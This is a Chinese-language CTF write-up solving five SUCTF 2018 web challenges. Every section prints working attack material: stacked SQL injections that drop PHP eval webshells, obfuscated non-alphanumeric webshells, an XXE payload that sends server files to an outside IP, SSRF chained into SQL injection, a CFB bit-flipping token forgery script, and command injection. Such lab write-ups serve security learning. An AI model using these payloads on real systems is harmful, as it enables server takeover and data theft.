http://www.bendawang.site/2018/05/28/SUCTF-2018-%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/
https://www.xctf.org.cn/library/details/2ff21f569a791e21cbd6ce0d4675a9de5ec2373a/

MultiSQL

在user/user.php?id=1 处存在注入

1
2
读index.php
?id=6^(if(ascii(mid(load_file(0x2F7661722F7777772F68746D6C2F696E6465782E706870),1,2))>1,0,1))

发现是用mysqli_multi_query()函数进行sql语句查询所以存在堆叠注入(其实这里题目名字也不难猜到是个堆叠注入)

1
2
select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/favicon/3.php';
;set @s=concat(CHAR(115),CHAR(101),CHAR(108),CHAR(101),CHAR(99),CHAR(116),CHAR(32),CHAR(39),CHAR(60),CHAR(63),CHAR(112),CHAR(104),CHAR(112),CHAR(32),CHAR(101),CHAR(118),CHAR(97),CHAR(108),CHAR(40),CHAR(36),CHAR(95),CHAR(80),CHAR(79),CHAR(83),CHAR(84),CHAR(91),CHAR(49),CHAR(93),CHAR(41),CHAR(59),CHAR(63),CHAR(62),CHAR(39),CHAR(32),CHAR(105),CHAR(110),CHAR(116),CHAR(111),CHAR(32),CHAR(111),CHAR(117),CHAR(116),CHAR(102),CHAR(105),CHAR(108),CHAR(101),CHAR(32),CHAR(39),CHAR(47),CHAR(118),CHAR(97),CHAR(114),CHAR(47),CHAR(119),CHAR(119),CHAR(119),CHAR(47),CHAR(104),CHAR(116),CHAR(109),CHAR(108),CHAR(47),CHAR(102),CHAR(97),CHAR(118),CHAR(105),CHAR(99),CHAR(111),CHAR(110),CHAR(47),CHAR(51),CHAR(46),CHAR(112),CHAR(104),CHAR(112),CHAR(39),CHAR(59)); PREPARE s2 FROM @s; EXECUTE s2;

非预期解 二次注入 select * from xxx where username = ‘用户名’
注册两个个账号用户名为 这里师傅经过测试username是60位,所有这里对shell进行了缩写

1
2
<?php `$_GET[a]`;?>
<?php `$_GET[a]`;?>'into outfile'/var/www/html/favicon/5.php

这种方法没有成功,用第一种方法getshell之后去看一下源码

二次注入点在user.php SESSION[‘user_name’],回到login.php看SESSION的赋值

这里直接用了查询出来的数据,是存在二次注入的,但是user.php会先判断存不存在user_id,不存在的话才会执行sql语句造成二次注入
这两个值是同时赋值的,不可能只存在一个感觉buu上改了源码233

Anonymous

1
2
3
4
5
6
7
8
9
$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();

create_function创建的是匿名函数 匿名函数也是有名字的,名字是\x00lambda_%d,其中%d代表他是当前进程中的第几个匿名函数

GetShell

1
2
3
4
5
6
7
8
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}

过滤shell内容,fuzz出可用字符 ~ $ _ ; = ( )以及非英文字符
想到p神的无字符getshell,我自己写了一个

1
2
3
4
5
$a=(~'assert');
$b=(~"_POST");
$c=(~$b);
$s='<?php'."\r\n".'$_='.$b.';'."\r\n".'$_=(~$_)'.";\r\n".'(~'.$a.')($$_[__]);';
file_put_contents('cop.php',$s);

别的师傅的

1
2
3
4
5
6
7
8
$_=[];
$__=$_.$_;
$_=($_==$__);
$__=($_==$_);
$___=[~垂][$_][$__].[~匀][$_][$__].[~匀][$_][$__].[~嚅][$_][$__].[~捂][$_][$__].[~狂][$_][$__];
$____=[~堂][$_][$__].[~寂][$_][$__].[~封][$_][$__].[~嬉][$_][$__].[~立][$_][$__];
$___([$$____][$_][____________________________________]);
//assert($_POST[____________________________________]);

在php7中 assert变得和eval一样,是一个语言结构,不能用可变函数调用,本地测试了一下7.0还是没变的,7.1+就和eval一样了
根目录下假的flag搞人心态,flag在环境变量里,env命令调出全部环境变量

Homework

https://xz.aliyun.com/t/6502
开始先是个xxe,xxe我只会用payload 233,看了上面那个文章也算是明白一点了
1.xml

1
2
3
4
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://174.1.189.112/2.xml">
%remote; %intern; %xxe;
]>

2.xml

1
2
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'http://174.1.189.112:2333/?%payl;'>">

问了哲哥合并成一个文件也是可以的

1
2
3
4
5
<!DOCTYPE root [
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'http://174.1.189.112:2333/?%payl;'>">
%intern; %xxe;
]>

但是这个没有成功收到请求,可能是有啥过滤(小声逼逼感觉没有过滤但是又不知道哪错了)
submit 文件的时候post了一个sign,存到了数据库里

1
(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig']))

show.php直接用了从库里查出来的sign 造成二次注入,触发的话要用xxe进行ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_GET['action'])&&$_GET['action']=="view"){
if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden.");
if(!empty($_GET['filename'])){
$file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
$file_name=$file_info['0']['2'];
echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
$new_sig=mt_rand();
sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);
die("<br>new sig:".$new_sig);
}else{
die("Null filename");
}
}

2.xml改为

1
2
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/show.php?action=view&filename=1.txt">
<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'http://174.1.189.112:2333/?%payl;'>">

注入payload

1
2
'||extractvalue(1,concat(0x7e,(select flag from flag),0x7e))||'
0x277C7C6578747261637476616C756528312C636F6E63617428307837652C2873656C65637420666C61672066726F6D20666C6167292C3078376529297C7C27

不知道为啥png文件就是访问不到,刚开始我还以为是&符号的问题,后来换个其他后缀就可以了,玄学,flag太长最后加个reverse读flag

HateIT

http://www.lovei.org/archives/suctf2018.html
https://blog.csdn.net/a3320315/article/details/104365345
https://www.anquanke.com/post/id/146419#h3-5
git泄露,但是源码是加密的 Zend Engine 2 操作码列表 opcode照着操作码逆
robots.txt提示suenc.so 逆so文件得admin.php 源代码上面博客都有
第一步是伪造admin,有两个方法,源码中泄露了key,直接运行一下就行了,要在linux环境运行,win和linux生成随机数有差异

1
2
3
4
5
6
$username='bendawang';
$md5=md5(get_identify().$username);
$admin=3;
$token=encrypt($username."|".$admin."|".$md5);
print $md5."\n";
print $token."\n";

这个方法我没有成功233,所有有了第二种,cfb重放攻击,cfb解密得时候改变一组密文会影响这一组和下一组得解密结果,其他不影响
参见 https://xz.aliyun.com/t/4552#toc-3 ,附上一位师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Cipher import AES
from os import urandom
from Crypto.Util.strxor import strxor
import base64

plain = 'xxxxxxxxxxxxxxx|0|d30ef4a963f6cadc8a453977ccbbc626' # 最原始的明文
token = 'ZjVhYWI3NjA3ZTZiOGM4Y2YyMWUxOTRiNzhiMzFmNzkwYjYyMjAzYjZlZTgxMDAwNTY0ZDMyNzlkYTFiODk3YmQ1MDFiYjk2NzkyYmJhMzgwYzQ4OTgzMTlhYWQ5Nzk0OGExOGEwM2VkZDU4NjIwYzdhMTIxNmQ1ODY2OWI3YzM=' #对应的密文
token = base64.b64decode(token)
cipher = token.decode("hex")
ct = cipher[:16]+strxor(strxor(cipher[16:50], '0'*34), '3'*34)+cipher # 我们从第17个字符改,即0,改的长度为34,则后面的异或的长度也必须是34,而且第一个异或的值必须明文第十七的字符,第二个异或是我们想要更改的第一个值,由于admin要求是3,所以我们填3就行,最后我们+cipher是拓展我们的token,这样我们就更改了0|d30ef4a963f6cadc8a453977ccbbc626,下一组密文也是乱码即xxxxxxxxxxxxxxx|,这样剩下的一个0无关影响,因为我们只剩下两个||,刚好符合要求~~
ct = "".join(ct).encode('hex')
print(base64.b64encode(ct))
————————————————
版权声明:本文为CSDN博主「HyyMbb」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/a3320315/java/article/details/104365345

中间部分不怎么理解为啥加34位,改成16位就比较好理解了,前十六位是xxxxxxxxxxxxxxx| 中间填充16位解密结果是0后面15位乱码
然后这16位影响下面 xxxxxxxxxxxxxxx|的解密,被解密成乱码了,后面不影响 还是 0|d30ef4a963f6cadc8a453977ccbbc626
解密结果是 xxxxxxxxxxxxxxx|3+乱码+0|d30ef4a963f6cadc8a453977ccbbc626

第二步是rce 也有两种方法

1
2
3
4
function createThumbnail(){
$e = stripcslashes(preg_replace('/[^0-9\\\]/','',isset($_GET['size'])?$_GET['size']:25));
system("/usr/bin/convert {$this->filename} --resize $e ./thumbs/{$this->filename}");
}

size用八进制传输命令 admin.php?action=viewImage&size=7315416373,即:;ls;

filename是可控的 直接admin.php?action=viewImage&file=;ls 也可

总结

刷了三天终于刷完了,学到的东西还是很多